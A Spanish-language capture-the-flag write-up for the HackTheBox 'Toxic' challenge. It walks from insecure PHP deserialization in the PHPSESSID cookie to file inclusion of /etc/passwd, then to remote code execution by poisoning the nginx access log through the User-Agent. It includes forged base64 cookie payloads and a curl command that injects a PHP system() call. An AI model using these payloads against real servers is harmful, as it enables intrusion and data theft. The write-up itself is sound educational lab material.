Toxic

Table of contents

  1. Insecure deserialization
  2. Local FIle Inclusion
  3. Archivos extra
  4. LFI to RCE via Log Poisoning

En este desafio primero tenemos una deserializacion insegura en la cookie PHPSESSID la cual nos permitira un LFI, despues mediante Log Poisoning conseguiremos un RCE en el User-Agent.

Al ingresar a la web no podemos ver nada interesante a primera vista, tampoco al mostrar su codigo fuente, asi que nos decargaremos los archivos que nos proporciona HTB

├── index.html
├── index.php
├── models
│   └── PageModel.php

Insecure deserialization

Contenido de index.php:

<?php
spl_autoload_register(function ($name){
    if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';

    setcookie(
        'PHPSESSID', 
        base64_encode(serialize($page)), 
        time()+60*60*24, 
        '/'
    );
} 

$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);

La primera parte del codigo:

spl_autoload_register(function ($name){
    if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

Con la funcion include_once esta incluyendo un archivo con la extension .php de la carpeta Models en tiempo de ejecucion, es decir cuando se ejecute este script de PHP

Despues, en esta parte:

if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';

    setcookie(
        'PHPSESSID', 
        base64_encode(serialize($page)), 
        time()+60*60*24, 
        '/'
    );
}

Primero hace una validacion si la cookie PHPSESSID esta vacia

La cookie PHPSESSID permite a los sitios web almacenar datos serializados

En caso de que este vacia devuelve true, despues se crea una instancia de PageModel llamada page donde se configura el atributo file con el valor /www/index.html (la pagina que vemos al entrar al sitio):

$page = new PageModel;
    $page->file = '/www/index.html';

Despues se establece la cookie PHPSESSID con el valor serializado de file:

setcookie(
        'PHPSESSID', 
        base64_encode(serialize($page)), 
        time()+60*60*24, 
        '/'
    );

La ultima parte del codigo es donde se encuentra la vulnerabilidad Insecure Deserialization:

$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);

Basicamente en la ultima linea:

unserialize($cookie);

Se intenta deserializar y recuperar el valor de la cookie sin ningun tipo de sanitizacion, debido a esto nosotros podemos manipular el valor de la cookie para ingresar una cadena serializada maliciosa que haga lo que queramos.

(si quieres saber mas sobre Insecure Deserialization puedes leer aqui)

Local FIle Inclusion

(si quieres saber como funciona LFI, puedes leer un post de mi compa droix3d que lo explica muy bien)

Hace un momento dije que estaba incluyendo un archivo de la carpeta Models. En los archivo que nos descargamos de HTB esta ese archivo, pasaremos a verlo:

<?php
class PageModel
{
    public $file;

    public function __destruct() 
    {
        include($this->file);
    }
}

Primeramente vemos la clase PageModel que se instancia en el otro archivo que explique, ademas tiene un atributo llamado file, y la parte vulnerable a LFI es lo de abajo:

public function __destruct() 
    {
        include($this->file);
    }

(si quieres saber como funcionan los contructores y destructores, puedes leer aqui)

La vulnerabilidad radica en como se esta incluyendo el archivo (this->file), esto es por que nosotros podemos manipular que archivo se puede incluir, ya que simplemente se esta incluyendo un archivo que se le pasa como valor al atributo de la clase sin ningun tipo de sanitizacion, veremos esto mas claro en la practica.

Usare burp suite para interceptar la peticion y ver el objeto serializado:

Vean como la cookie PHPSESSID tiene un valor que esta serializado, ateriormente vimos que esta usando base64, asi lo decodificaremos:

echo 'Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9' | base64 -d
O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}

Vemos como el objeto deserializado lleva como nombre PageModel y el valor es lo que se la indica en el atributo file, y vemos que tiene file";s:15:"/www/index.html, asi que se esta incluyendo ese archivo

Como mencione antes, en ninguno de los dos archivo se esta sanitizando ni madres, asi que nosotros podemos modificar el valor del atributo file de la cookie PHPSESSID, para corroborarlo, vamos a modificar el objeto deserializado y le indicaremos que incluya otro archivo:

O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}

Ahora estoy incluyendo el archivo /etc/passwd, antes que nada, en donde dice s:11 se refiere a la longitud de la cadena, osea la que esta despues entre comillas, esta longitud es la cantidad de caracteres, y le puse 11 por que /etc/passwd tiene 11 caracteres.

Cuando le enviemos la peticion veremos el LFI:

Y asi conseguimos LFI a travez de Insecure Deserialization

Archivos extra

Antes que nada, exploraremos los demas archivos que nos descargamos, primero vemos un Dockerfile donde lo primero son unos acrhivos de configuracion de nginx:

# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php7/php-fpm.d/www.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf

Con esto ya sabemos que usa nginx como servidor web

Despues tenemos que copia la flag al directorio flag:

COPY flag /flag

Cabe recalcar que si intentamos leer la flag con el LFI que hicimos hace un rato no vamos a poder.

Y como ultimo, tenemos que copia un archivo .sh:

# Copy entrypoint
COPY entrypoint.sh /entrypoint.sh

Este archivo si podemos ver su contenido:

#!/bin/ash

# Secure entrypoint
chmod 600 /entrypoint.sh

# Generate random flag filename
mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`

exec "$@"

Como puden ver, se esta generando una flag con nombre random, asi que si o si debemos leerla con LFI

LFI to RCE via Log Poisoning

La idea de un log poisoning es manipular el contenido de los archivos de registro para inyectar codigo malicioso en los registro del servidor, en esta caso nginx, cabe recalcar que esto solo es posible si tenemos un LFI

Como vimos en los archivo extra, hay archivos de configuracion de nginx, mostraremos el contenido de nginx.conf:

user www;
pid /run/nginx.pid;
error_log /dev/stderr info;

events {
    worker_connections 1024;
}

http {
    server_tokens off;
    log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
    access_log /var/log/nginx/access.log docker;

    charset utf-8;
    keepalive_timeout 20s;
    sendfile on;
    tcp_nopush on;
    client_max_body_size 1M;

    include  /etc/nginx/mime.types;

    server {
        listen 80;
        server_name _;

        index index.php;
        root /www;

        location / {
            try_files $uri $uri/ /index.php?$query_string;
            location ~ \.php$ {
                try_files $uri =404;
                fastcgi_pass unix:/run/php-fpm.sock;
                fastcgi_index index.php;
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                include fastcgi_params;
            }
        }
    }
}

Vemos como existe un archivo log en /var/log/nginx/access.log al cual le podemos hacer log poisoning para envenenar el registro de nginx, para esto debemos de crear otra cookie pero indicandole ese log:

O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}'

La pasamos a base64 y nos queda:

echo 'O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}' | base64

Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQo=

Ahora nos vamos al burpsuite y relizamos la peticion con esa cookie:

Basicamente podemos ver todas las peticiones que se han hecho, aca una:

206.189.29.104 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0" 

Vemos que en cada peticion se registra la IP, el metodo, version de HTTP, el User-Agent y la URL,

En un log poisoning, podemos consegir un RCE registrando nuestro codigo malicioso en el User-Agent, el metodo y la ruta, en este caso lo haremos a travez del User-Agent

Esto es tan facil como al final del User-Agent le indicamos lo que queremos ejecutar:

Y vemos como nuestro comando es ejecuto correctemante, y en los logs, al final del User-Agent se agrego un bin:

206.189.29.104 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0 bin

Y el resultado fue:

Ahi mismo podemos ver la flag, y como ultimo debemos de hacerle un cat, en esta caso usare curl para que vean tambien como es:

url -i -v <URL> -A "<?php system('cat /flag_uDwMK'); ?>" -b "PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQo="

(el nombre de la flag es diferente por que tuve que hace otra instancia)

Y listo, asi conseguimos la flag:

Joder, esto si es RCE 🚬

Eso ha sido todo, gracias por leer ❤